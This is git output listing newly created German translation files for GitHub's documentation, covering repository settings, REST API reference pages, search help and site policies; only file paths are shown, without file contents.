 create mode 100644 translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-merging-for-pull-requests.md
 create mode 100644 translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests.md
 create mode 100644 translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests.md
 create mode 100644 translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/index.md
 create mode 100644 translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-a-merge-queue.md
 create mode 100644 translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md
 create mode 100644 translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches.md
 create mode 100644 translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches.md
 create mode 100644 translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md
 create mode 100644 translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md
 create mode 100644 translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md
 create mode 100644 translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md
 create mode 100644 translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/index.md
 create mode 100644 translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md
 create mode 100644 translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md
 create mode 100644 translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/index.md
 create mode 100644 translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md
 create mode 100644 translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/viewing-branches-in-your-repository.md
 create mode 100644 translations/de-DE/content/repositories/creating-and-managing-repositories/about-repositories.md
 create mode 100644 translations/de-DE/content/repositories/creating-and-managing-repositories/cloning-a-repository.md
 create mode 100644 translations/de-DE/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md
 create mode 100644 translations/de-DE/content/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template.md
 create mode 100644 translations/de-DE/content/repositories/creating-and-managing-repositories/creating-a-template-repository.md
 create mode 100644 translations/de-DE/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md
 create mode 100644 translations/de-DE/content/repositories/creating-and-managing-repositories/deleting-a-repository.md
 create mode 100644 translations/de-DE/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md
 create mode 100644 translations/de-DE/content/repositories/creating-and-managing-repositories/index.md
 create mode 100644 translations/de-DE/content/repositories/creating-and-managing-repositories/renaming-a-repository.md
 create mode 100644 translations/de-DE/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md
 create mode 100644 translations/de-DE/content/repositories/creating-and-managing-repositories/transferring-a-repository.md
 create mode 100644 translations/de-DE/content/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors.md
 create mode 100644 translations/de-DE/content/repositories/index.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/customizing-your-repositorys-social-media-preview.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/index.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-issues.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-project-boards-in-a-repository.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/enabling-or-disabling-github-discussions-for-a-repository.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/index.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/index.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/enabling-anonymous-git-read-access-for-a-repository.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/index.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-pull-request-reviews-in-your-repository.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md
 create mode 100644 translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md
 create mode 100644 translations/de-DE/content/repositories/releasing-projects-on-github/about-releases.md
 create mode 100644 translations/de-DE/content/repositories/releasing-projects-on-github/automatically-generated-release-notes.md
 create mode 100644 translations/de-DE/content/repositories/releasing-projects-on-github/automation-for-release-forms-with-query-parameters.md
 create mode 100644 translations/de-DE/content/repositories/releasing-projects-on-github/comparing-releases.md
 create mode 100644 translations/de-DE/content/repositories/releasing-projects-on-github/index.md
 create mode 100644 translations/de-DE/content/repositories/releasing-projects-on-github/linking-to-releases.md
 create mode 100644 translations/de-DE/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md
 create mode 100644 translations/de-DE/content/repositories/releasing-projects-on-github/searching-a-repositorys-releases.md
 create mode 100644 translations/de-DE/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md
 create mode 100644 translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md
 create mode 100644 translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/analyzing-changes-to-a-repositorys-content.md
 create mode 100644 translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/index.md
 create mode 100644 translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/understanding-connections-between-repositories.md
 create mode 100644 translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md
 create mode 100644 translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-summary-of-repository-activity.md
 create mode 100644 translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md
 create mode 100644 translations/de-DE/content/repositories/viewing-activity-and-data-for-your-repository/viewing-traffic-to-a-repository.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/index.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/managing-files/adding-a-file-to-a-repository.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/managing-files/creating-new-files.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/managing-files/customizing-how-changed-files-appear-on-github.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/managing-files/editing-files.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/managing-files/index.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/managing-files/moving-a-file-to-a-new-location.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/managing-files/renaming-a-file.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/managing-large-files/index.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/managing-large-files/moving-a-file-in-your-repository-to-git-large-file-storage.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/managing-large-files/removing-files-from-git-large-file-storage.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/managing-large-files/resolving-git-large-file-storage-upload-failures.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/using-files/index.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/using-files/navigating-code-on-github.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/using-files/viewing-a-file.md
 create mode 100644 translations/de-DE/content/repositories/working-with-files/using-files/working-with-non-code-files.md
 create mode 100644 translations/de-DE/content/rest/README.md
 create mode 100644 translations/de-DE/content/rest/actions/artifacts.md
 create mode 100644 translations/de-DE/content/rest/actions/cache.md
 create mode 100644 translations/de-DE/content/rest/actions/index.md
 create mode 100644 translations/de-DE/content/rest/actions/oidc.md
 create mode 100644 translations/de-DE/content/rest/actions/permissions.md
 create mode 100644 translations/de-DE/content/rest/actions/secrets.md
 create mode 100644 translations/de-DE/content/rest/actions/self-hosted-runner-groups.md
 create mode 100644 translations/de-DE/content/rest/actions/self-hosted-runners.md
 create mode 100644 translations/de-DE/content/rest/actions/workflow-jobs.md
 create mode 100644 translations/de-DE/content/rest/actions/workflow-runs.md
 create mode 100644 translations/de-DE/content/rest/actions/workflows.md
 create mode 100644 translations/de-DE/content/rest/activity/events.md
 create mode 100644 translations/de-DE/content/rest/activity/feeds.md
 create mode 100644 translations/de-DE/content/rest/activity/index.md
 create mode 100644 translations/de-DE/content/rest/activity/notifications.md
 create mode 100644 translations/de-DE/content/rest/activity/starring.md
 create mode 100644 translations/de-DE/content/rest/activity/watching.md
 create mode 100644 translations/de-DE/content/rest/apps/apps.md
 create mode 100644 translations/de-DE/content/rest/apps/index.md
 create mode 100644 translations/de-DE/content/rest/apps/installations.md
 create mode 100644 translations/de-DE/content/rest/apps/marketplace.md
 create mode 100644 translations/de-DE/content/rest/apps/oauth-applications.md
 create mode 100644 translations/de-DE/content/rest/apps/webhooks.md
 create mode 100644 translations/de-DE/content/rest/billing.md
 create mode 100644 translations/de-DE/content/rest/branches/branch-protection.md
 create mode 100644 translations/de-DE/content/rest/branches/branches.md
 create mode 100644 translations/de-DE/content/rest/branches/index.md
 create mode 100644 translations/de-DE/content/rest/checks/index.md
 create mode 100644 translations/de-DE/content/rest/checks/runs.md
 create mode 100644 translations/de-DE/content/rest/checks/suites.md
 create mode 100644 translations/de-DE/content/rest/code-scanning.md
 create mode 100644 translations/de-DE/content/rest/codes-of-conduct.md
 create mode 100644 translations/de-DE/content/rest/codespaces/codespaces.md
 create mode 100644 translations/de-DE/content/rest/codespaces/index.md
 create mode 100644 translations/de-DE/content/rest/codespaces/machines.md
 create mode 100644 translations/de-DE/content/rest/codespaces/organizations.md
 create mode 100644 translations/de-DE/content/rest/codespaces/repository-secrets.md
 create mode 100644 translations/de-DE/content/rest/codespaces/secrets.md
 create mode 100644 translations/de-DE/content/rest/collaborators/collaborators.md
 create mode 100644 translations/de-DE/content/rest/collaborators/index.md
 create mode 100644 translations/de-DE/content/rest/collaborators/invitations.md
 create mode 100644 translations/de-DE/content/rest/commits/comments.md
 create mode 100644 translations/de-DE/content/rest/commits/commits.md
 create mode 100644 translations/de-DE/content/rest/commits/index.md
 create mode 100644 translations/de-DE/content/rest/commits/statuses.md
 create mode 100644 translations/de-DE/content/rest/dependabot/index.md
 create mode 100644 translations/de-DE/content/rest/dependabot/secrets.md
 create mode 100644 translations/de-DE/content/rest/dependency-graph/dependency-review.md
 create mode 100644 translations/de-DE/content/rest/dependency-graph/dependency-submission.md
 create mode 100644 translations/de-DE/content/rest/dependency-graph/index.md
 create mode 100644 translations/de-DE/content/rest/deploy-keys.md
 create mode 100644 translations/de-DE/content/rest/deployments/branch-policies.md
 create mode 100644 translations/de-DE/content/rest/deployments/deployments.md
 create mode 100644 translations/de-DE/content/rest/deployments/environments.md
 create mode 100644 translations/de-DE/content/rest/deployments/index.md
 create mode 100644 translations/de-DE/content/rest/deployments/statuses.md
 create mode 100644 translations/de-DE/content/rest/emojis.md
 create mode 100644 translations/de-DE/content/rest/enterprise-admin/admin-stats.md
 create mode 100644 translations/de-DE/content/rest/enterprise-admin/announcement.md
 create mode 100644 translations/de-DE/content/rest/enterprise-admin/audit-log.md
 create mode 100644 translations/de-DE/content/rest/enterprise-admin/billing.md
 create mode 100644 translations/de-DE/content/rest/enterprise-admin/global-webhooks.md
 create mode 100644 translations/de-DE/content/rest/enterprise-admin/index.md
 create mode 100644 translations/de-DE/content/rest/enterprise-admin/ldap.md
 create mode 100644 translations/de-DE/content/rest/enterprise-admin/license.md
 create mode 100644 translations/de-DE/content/rest/enterprise-admin/management-console.md
 create mode 100644 translations/de-DE/content/rest/enterprise-admin/org-pre-receive-hooks.md
 create mode 100644 translations/de-DE/content/rest/enterprise-admin/orgs.md
 create mode 100644 translations/de-DE/content/rest/enterprise-admin/pre-receive-environments.md
 create mode 100644 translations/de-DE/content/rest/enterprise-admin/pre-receive-hooks.md
 create mode 100644 translations/de-DE/content/rest/enterprise-admin/repo-pre-receive-hooks.md
 create mode 100644 translations/de-DE/content/rest/enterprise-admin/scim.md
 create mode 100644 translations/de-DE/content/rest/enterprise-admin/users.md
 create mode 100644 translations/de-DE/content/rest/gists/comments.md
 create mode 100644 translations/de-DE/content/rest/gists/gists.md
 create mode 100644 translations/de-DE/content/rest/gists/index.md
 create mode 100644 translations/de-DE/content/rest/git/blobs.md
 create mode 100644 translations/de-DE/content/rest/git/commits.md
 create mode 100644 translations/de-DE/content/rest/git/index.md
 create mode 100644 translations/de-DE/content/rest/git/refs.md
 create mode 100644 translations/de-DE/content/rest/git/tags.md
 create mode 100644 translations/de-DE/content/rest/git/trees.md
 create mode 100644 translations/de-DE/content/rest/gitignore.md
 create mode 100644 translations/de-DE/content/rest/guides/basics-of-authentication.md
 create mode 100644 translations/de-DE/content/rest/guides/best-practices-for-integrators.md
 create mode 100644 translations/de-DE/content/rest/guides/building-a-ci-server.md
 create mode 100644 translations/de-DE/content/rest/guides/delivering-deployments.md
 create mode 100644 translations/de-DE/content/rest/guides/discovering-resources-for-a-user.md
 create mode 100644 translations/de-DE/content/rest/guides/getting-started-with-the-checks-api.md
 create mode 100644 translations/de-DE/content/rest/guides/getting-started-with-the-git-database-api.md
 create mode 100644 translations/de-DE/content/rest/guides/getting-started-with-the-rest-api.md
 create mode 100644 translations/de-DE/content/rest/guides/index.md
 create mode 100644 translations/de-DE/content/rest/guides/rendering-data-as-graphs.md
 create mode 100644 translations/de-DE/content/rest/guides/traversing-with-pagination.md
 create mode 100644 translations/de-DE/content/rest/guides/working-with-comments.md
 create mode 100644 translations/de-DE/content/rest/index.md
 create mode 100644 translations/de-DE/content/rest/interactions/index.md
 create mode 100644 translations/de-DE/content/rest/interactions/orgs.md
 create mode 100644 translations/de-DE/content/rest/interactions/repos.md
 create mode 100644 translations/de-DE/content/rest/interactions/user.md
 create mode 100644 translations/de-DE/content/rest/issues/assignees.md
 create mode 100644 translations/de-DE/content/rest/issues/comments.md
 create mode 100644 translations/de-DE/content/rest/issues/events.md
 create mode 100644 translations/de-DE/content/rest/issues/index.md
 create mode 100644 translations/de-DE/content/rest/issues/issues.md
 create mode 100644 translations/de-DE/content/rest/issues/labels.md
 create mode 100644 translations/de-DE/content/rest/issues/milestones.md
 create mode 100644 translations/de-DE/content/rest/issues/timeline.md
 create mode 100644 translations/de-DE/content/rest/licenses.md
 create mode 100644 translations/de-DE/content/rest/markdown.md
 create mode 100644 translations/de-DE/content/rest/meta.md
 create mode 100644 translations/de-DE/content/rest/metrics/community.md
 create mode 100644 translations/de-DE/content/rest/metrics/index.md
 create mode 100644 translations/de-DE/content/rest/metrics/statistics.md
 create mode 100644 translations/de-DE/content/rest/metrics/traffic.md
 create mode 100644 translations/de-DE/content/rest/migrations/index.md
 create mode 100644 translations/de-DE/content/rest/migrations/orgs.md
 create mode 100644 translations/de-DE/content/rest/migrations/source-imports.md
 create mode 100644 translations/de-DE/content/rest/migrations/users.md
 create mode 100644 translations/de-DE/content/rest/oauth-authorizations.md
 create mode 100644 translations/de-DE/content/rest/orgs/blocking.md
 create mode 100644 translations/de-DE/content/rest/orgs/custom-roles.md
 create mode 100644 translations/de-DE/content/rest/orgs/index.md
 create mode 100644 translations/de-DE/content/rest/orgs/members.md
 create mode 100644 translations/de-DE/content/rest/orgs/orgs.md
 create mode 100644 translations/de-DE/content/rest/orgs/outside-collaborators.md
 create mode 100644 translations/de-DE/content/rest/orgs/security-managers.md
 create mode 100644 translations/de-DE/content/rest/orgs/webhooks.md
 create mode 100644 translations/de-DE/content/rest/overview/api-previews.md
 create mode 100644 translations/de-DE/content/rest/overview/endpoints-available-for-fine-grained-personal-access-tokens.md
 create mode 100644 translations/de-DE/content/rest/overview/endpoints-available-for-github-apps.md
 create mode 100644 translations/de-DE/content/rest/overview/index.md
 create mode 100644 translations/de-DE/content/rest/overview/libraries.md
 create mode 100644 translations/de-DE/content/rest/overview/media-types.md
 create mode 100644 translations/de-DE/content/rest/overview/openapi-description.md
 create mode 100644 translations/de-DE/content/rest/overview/other-authentication-methods.md
 create mode 100644 translations/de-DE/content/rest/overview/permissions-required-for-fine-grained-personal-access-tokens.md
 create mode 100644 translations/de-DE/content/rest/overview/permissions-required-for-github-apps.md
 create mode 100644 translations/de-DE/content/rest/overview/resources-in-the-rest-api.md
 create mode 100644 translations/de-DE/content/rest/overview/troubleshooting.md
 create mode 100644 translations/de-DE/content/rest/packages.md
 create mode 100644 translations/de-DE/content/rest/pages.md
 create mode 100644 translations/de-DE/content/rest/projects/cards.md
 create mode 100644 translations/de-DE/content/rest/projects/collaborators.md
 create mode 100644 translations/de-DE/content/rest/projects/columns.md
 create mode 100644 translations/de-DE/content/rest/projects/index.md
 create mode 100644 translations/de-DE/content/rest/projects/projects.md
 create mode 100644 translations/de-DE/content/rest/pulls/comments.md
 create mode 100644 translations/de-DE/content/rest/pulls/index.md
 create mode 100644 translations/de-DE/content/rest/pulls/pulls.md
 create mode 100644 translations/de-DE/content/rest/pulls/review-requests.md
 create mode 100644 translations/de-DE/content/rest/pulls/reviews.md
 create mode 100644 translations/de-DE/content/rest/quickstart.md
 create mode 100644 translations/de-DE/content/rest/rate-limit.md
 create mode 100644 translations/de-DE/content/rest/reactions.md
 create mode 100644 translations/de-DE/content/rest/releases/assets.md
 create mode 100644 translations/de-DE/content/rest/releases/index.md
 create mode 100644 translations/de-DE/content/rest/releases/releases.md
 create mode 100644 translations/de-DE/content/rest/repos/autolinks.md
 create mode 100644 translations/de-DE/content/rest/repos/contents.md
 create mode 100644 translations/de-DE/content/rest/repos/forks.md
 create mode 100644 translations/de-DE/content/rest/repos/index.md
 create mode 100644 translations/de-DE/content/rest/repos/lfs.md
 create mode 100644 translations/de-DE/content/rest/repos/repos.md
 create mode 100644 translations/de-DE/content/rest/repos/tags.md
 create mode 100644 translations/de-DE/content/rest/scim.md
 create mode 100644 translations/de-DE/content/rest/search.md
 create mode 100644 translations/de-DE/content/rest/secret-scanning.md
 create mode 100644 translations/de-DE/content/rest/teams/discussion-comments.md
 create mode 100644 translations/de-DE/content/rest/teams/discussions.md
 create mode 100644 translations/de-DE/content/rest/teams/external-groups.md
 create mode 100644 translations/de-DE/content/rest/teams/index.md
 create mode 100644 translations/de-DE/content/rest/teams/members.md
 create mode 100644 translations/de-DE/content/rest/teams/team-sync.md
 create mode 100644 translations/de-DE/content/rest/teams/teams.md
 create mode 100644 translations/de-DE/content/rest/users/blocking.md
 create mode 100644 translations/de-DE/content/rest/users/emails.md
 create mode 100644 translations/de-DE/content/rest/users/followers.md
 create mode 100644 translations/de-DE/content/rest/users/gpg-keys.md
 create mode 100644 translations/de-DE/content/rest/users/index.md
 create mode 100644 translations/de-DE/content/rest/users/keys.md
 create mode 100644 translations/de-DE/content/rest/users/ssh-signing-keys.md
 create mode 100644 translations/de-DE/content/rest/users/users.md
 create mode 100644 translations/de-DE/content/rest/webhooks/index.md
 create mode 100644 translations/de-DE/content/rest/webhooks/repo-config.md
 create mode 100644 translations/de-DE/content/rest/webhooks/repo-deliveries.md
 create mode 100644 translations/de-DE/content/rest/webhooks/repos.md
 create mode 100644 translations/de-DE/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md
 create mode 100644 translations/de-DE/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md
 create mode 100644 translations/de-DE/content/search-github/getting-started-with-searching-on-github/index.md
 create mode 100644 translations/de-DE/content/search-github/getting-started-with-searching-on-github/sorting-search-results.md
 create mode 100644 translations/de-DE/content/search-github/getting-started-with-searching-on-github/troubleshooting-search-queries.md
 create mode 100644 translations/de-DE/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md
 create mode 100644 translations/de-DE/content/search-github/index.md
 create mode 100644 translations/de-DE/content/search-github/searching-on-github/finding-files-on-github.md
 create mode 100644 translations/de-DE/content/search-github/searching-on-github/index.md
 create mode 100644 translations/de-DE/content/search-github/searching-on-github/searching-code.md
 create mode 100644 translations/de-DE/content/search-github/searching-on-github/searching-commits.md
 create mode 100644 translations/de-DE/content/search-github/searching-on-github/searching-discussions.md
 create mode 100644 translations/de-DE/content/search-github/searching-on-github/searching-for-packages.md
 create mode 100644 translations/de-DE/content/search-github/searching-on-github/searching-for-repositories.md
 create mode 100644 translations/de-DE/content/search-github/searching-on-github/searching-github-marketplace.md
 create mode 100644 translations/de-DE/content/search-github/searching-on-github/searching-in-forks.md
 create mode 100644 translations/de-DE/content/search-github/searching-on-github/searching-issues-and-pull-requests.md
 create mode 100644 translations/de-DE/content/search-github/searching-on-github/searching-topics.md
 create mode 100644 translations/de-DE/content/search-github/searching-on-github/searching-users.md
 create mode 100644 translations/de-DE/content/search-github/searching-on-github/searching-wikis.md
 create mode 100644 translations/de-DE/content/search/index.md
 create mode 100644 translations/de-DE/content/site-policy/acceptable-use-policies/github-acceptable-use-policies.md
 create mode 100644 translations/de-DE/content/site-policy/acceptable-use-policies/github-active-malware-or-exploits.md
 create mode 100644 translations/de-DE/content/site-policy/acceptable-use-policies/github-appeal-and-reinstatement.md
 create mode 100644 translations/de-DE/content/site-policy/acceptable-use-policies/github-bullying-and-harassment.md
 create mode 100644 translations/de-DE/content/site-policy/acceptable-use-policies/github-disrupting-the-experience-of-other-users.md
 create mode 100644 translations/de-DE/content/site-policy/acceptable-use-policies/github-doxxing-and-invasion-of-privacy.md
 create mode 100644 translations/de-DE/content/site-policy/acceptable-use-policies/github-hate-speech-and-discrimination.md
 create mode 100644 translations/de-DE/content/site-policy/acceptable-use-policies/github-impersonation.md
 create mode 100644 translations/de-DE/content/site-policy/acceptable-use-policies/github-misinformation-and-disinformation.md
 create mode 100644 translations/de-DE/content/site-policy/acceptable-use-policies/github-sexually-obscene-content.md
 create mode 100644 translations/de-DE/content/site-policy/acceptable-use-policies/github-threats-of-violence-and-gratuitously-violent-content.md
 create mode 100644 translations/de-DE/content/site-policy/acceptable-use-policies/index.md
 create mode 100644 translations/de-DE/content/site-policy/content-removal-policies/dmca-takedown-policy.md
 create mode 100644 translations/de-DE/content/site-policy/content-removal-policies/github-private-information-removal-policy.md
 create mode 100644 translations/de-DE/content/site-policy/content-removal-policies/github-trademark-policy.md
 create mode 100644 translations/de-DE/content/site-policy/content-removal-policies/guide-to-submitting-a-dmca-counter-notice.md
 create mode 100644 translations/de-DE/content/site-policy/content-removal-policies/guide-to-submitting-a-dmca-takedown-notice.md
 create mode 100644 translations/de-DE/content/site-policy/content-removal-policies/index.md
 create mode 100644 translations/de-DE/content/site-policy/content-removal-policies/submitting-content-removal-requests.md
 create mode 100644 translations/de-DE/content/site-policy/github-company-policies/github-anti-bribery-statement.md
 create mode 100644 translations/de-DE/content/site-policy/github-company-policies/github-gifts-and-entertainment-policy.md
 create mode 100644 translations/de-DE/content/site-policy/github-company-policies/github-gpl-cooperation-commitment.md
 create mode 100644 translations/de-DE/content/site-policy/github-company-policies/github-statement-against-modern-slavery-and-child-labor.md
 create mode 100644 translations/de-DE/content/site-policy/github-company-policies/index.md
 create mode 100644 translations/de-DE/content/site-policy/github-terms/github-community-code-of-conduct.md
 create mode 100644 translations/de-DE/content/site-policy/github-terms/github-community-guidelines.md
 create mode 100644 translations/de-DE/content/site-policy/github-terms/github-corporate-terms-of-service.md
 create mode 100644 translations/de-DE/content/site-policy/github-terms/github-event-code-of-conduct.md
 create mode 100644 translations/de-DE/content/site-policy/github-terms/github-event-terms.md
 create mode 100644 translations/de-DE/content/site-policy/github-terms/github-marketplace-developer-agreement.md
 create mode 100644 translations/de-DE/content/site-policy/github-terms/github-marketplace-terms-of-service.md
 create mode 100644 translations/de-DE/content/site-policy/github-terms/github-open-source-applications-terms-and-conditions.md
 create mode 100644 translations/de-DE/content/site-policy/github-terms/github-registered-developer-agreement.md
 create mode 100644 translations/de-DE/content/site-policy/github-terms/github-research-program-terms.md
 create mode 100644 translations/de-DE/content/site-policy/github-terms/github-sponsors-additional-terms.md
 create mode 100644 translations/de-DE/content/site-policy/github-terms/github-terms-for-additional-products-and-features.md
 create mode 100644 translations/de-DE/content/site-policy/github-terms/github-terms-of-service.md
 create mode 100644 translations/de-DE/content/site-policy/github-terms/index.md
 create mode 100644 translations/de-DE/content/site-policy/index.md
 create mode 100644 translations/de-DE/content/site-policy/other-site-policies/github-and-trade-controls.md
 create mode 100644 translations/de-DE/content/site-policy/other-site-policies/github-deceased-user-policy.md
 create mode 100644 translations/de-DE/content/site-policy/other-site-policies/github-government-takedown-policy.md
 create mode 100644 translations/de-DE/content/site-policy/other-site-policies/github-logo-policy.md
 create mode 100644 translations/de-DE/content/site-policy/other-site-policies/github-username-policy.md
 create mode 100644 translations/de-DE/content/site-policy/other-site-policies/guidelines-for-legal-requests-of-user-data.md
 create mode 100644 translations/de-DE/content/site-policy/other-site-policies/index.md
 create mode 100644 translations/de-DE/content/site-policy/privacy-policies/github-candidate-privacy-policy.md
 create mode 100644 translations/de-DE/content/site-policy/privacy-policies/github-codespaces-privacy-statement.md
 create mode 100644 translations/de-DE/content/site-policy/privacy-policies/github-privacy-statement.md
 create mode 100644 translations/de-DE/content/site-policy/privacy-policies/github-subprocessors-and-cookies.md
 create mode 100644 translations/de-DE/content/site-policy/privacy-policies/global-privacy-practices.md
 create mode 100644 translations/de-DE/content/site-policy/privacy-policies/index.md
 create mode 100644 translations/de-DE/content/site-policy/security-policies/coordinated-disclosure-of-security-vulnerabilities.md
 create mode 100644 translations/de-DE/content/site-policy/security-policies/github-bug-bounty-program-legal-safe-harbor.md
 create mode 100644 translations/de-DE/content/site-policy/security-policies/index.md
 create mode 100644 translations/de-DE/content/site-policy/site-policy-deprecated/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users.md
 create mode 100644 translations/de-DE/content/site-policy/site-policy-deprecated/github-ae-data-protection-agreement.md
 create mode 100644 translations/de-DE/content/site-policy/site-policy-deprecated/github-ae-product-specific-terms.md
 create mode 100644 translations/de-DE/content/site-policy/site-policy-deprecated/github-enterprise-cloud-evaluation-agreement.md
 create mode 100644 translations/de-DE/content/site-policy/site-policy-deprecated/github-enterprise-server-license-agreement.md
